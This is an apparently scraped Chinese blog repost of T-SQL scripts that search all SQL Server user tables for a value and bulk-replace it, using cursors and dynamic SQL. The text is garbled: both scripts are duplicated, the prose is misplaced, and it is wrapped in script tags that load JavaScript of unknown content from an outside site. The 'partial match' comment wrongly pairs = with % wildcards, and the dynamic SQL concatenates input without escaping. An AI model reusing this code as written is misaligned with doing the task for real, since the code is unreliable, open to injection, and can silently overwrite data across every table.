<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>1.如果只知道一个字段的值,想通过这个值查询它属于哪个表的哪个字段
2. 修改字段值:
将已知数据库中字段值为'abc'的值,全部替换为'abca'
转自: http://blog.csdn.net/zlp321002/archive/2005/06/16/395621.aspx
文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
declare
@str
varchar
(
100
)
set @str = ' abcd ' -- 要搜索的字符串
declare @s varchar ( 8000 )
declare tb cursor local for
/**/ /*
注意:
1.字段值完全相等:
select 1 from ['+b.name+'] where ['+a.name+'] ='''+@str+'''
2.所搜索的字段值为实字段值的一部分
select 1 from ['+b.name+'] where ['+a.name+'] =''%'+@str+'%''
*/
select s = ' if exists(select 1 from [ ' + b.name + ' ] where [ ' + a.name + ' ] = ''' + @str + ''' )
print '' 所在的表及字段: [ ' + b.name + ' ].[ ' + a.name + ' ] '''
from syscolumns a join sysobjects b on a.id = b.id
where b.xtype = ' U ' and a.status >= 0
and a.xusertype in ( 175 , 239 , 231 , 167 )
open tb
fetch next from tb into @s
while @@fetch_status = 0
begin
exec ( @s )
fetch next from tb into @s
end
close tb
deallocate tb
set @str = ' abcd ' -- 要搜索的字符串
declare @s varchar ( 8000 )
declare tb cursor local for
/**/ /*
注意:
1.字段值完全相等:
select 1 from ['+b.name+'] where ['+a.name+'] ='''+@str+'''
2.所搜索的字段值为实字段值的一部分
select 1 from ['+b.name+'] where ['+a.name+'] =''%'+@str+'%''
*/
select s = ' if exists(select 1 from [ ' + b.name + ' ] where [ ' + a.name + ' ] = ''' + @str + ''' )
print '' 所在的表及字段: [ ' + b.name + ' ].[ ' + a.name + ' ] '''
from syscolumns a join sysobjects b on a.id = b.id
where b.xtype = ' U ' and a.status >= 0
and a.xusertype in ( 175 , 239 , 231 , 167 )
open tb
fetch next from tb into @s
while @@fetch_status = 0
begin
exec ( @s )
fetch next from tb into @s
end
close tb
deallocate tb
2. 修改字段值:
将已知数据库中字段值为'abc'的值,全部替换为'abca'
declare
@oldstr
varchar
(
100
)
set @oldstr = ' abc ' -- 原字符
declare @newstr varchar ( 100 )
set @newstr = ' abca ' -- 新字符
declare @s varchar ( 8000 )
declare tb cursor local for
select s = ' if exists(select 1 from [ ' + b.name + ' ] where [ ' + a.name + ' ] = ''' + @oldstr + ''' )
update [ ' + b.name + ' ] set [ ' + a.name + ' ]= ''' + @newstr + ''' where [ ' + a.name + ' ]= ''' + @oldstr + ''' '
from syscolumns a join sysobjects b on a.id = b.id
where b.xtype = ' U ' and a.status >= 0
and a.xusertype in ( 175 , 239 , 231 , 167 )
open tb
fetch next from tb into @s
while @@fetch_status = 0
begin
exec ( @s )
fetch next from tb into @s
end
close tb
deallocate tb
set @oldstr = ' abc ' -- 原字符
declare @newstr varchar ( 100 )
set @newstr = ' abca ' -- 新字符
declare @s varchar ( 8000 )
declare tb cursor local for
select s = ' if exists(select 1 from [ ' + b.name + ' ] where [ ' + a.name + ' ] = ''' + @oldstr + ''' )
update [ ' + b.name + ' ] set [ ' + a.name + ' ]= ''' + @newstr + ''' where [ ' + a.name + ' ]= ''' + @oldstr + ''' '
from syscolumns a join sysobjects b on a.id = b.id
where b.xtype = ' U ' and a.status >= 0
and a.xusertype in ( 175 , 239 , 231 , 167 )
open tb
fetch next from tb into @s
while @@fetch_status = 0
begin
exec ( @s )
fetch next from tb into @s
end
close tb
deallocate tb
转自: http://blog.csdn.net/zlp321002/archive/2005/06/16/395621.aspx
文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>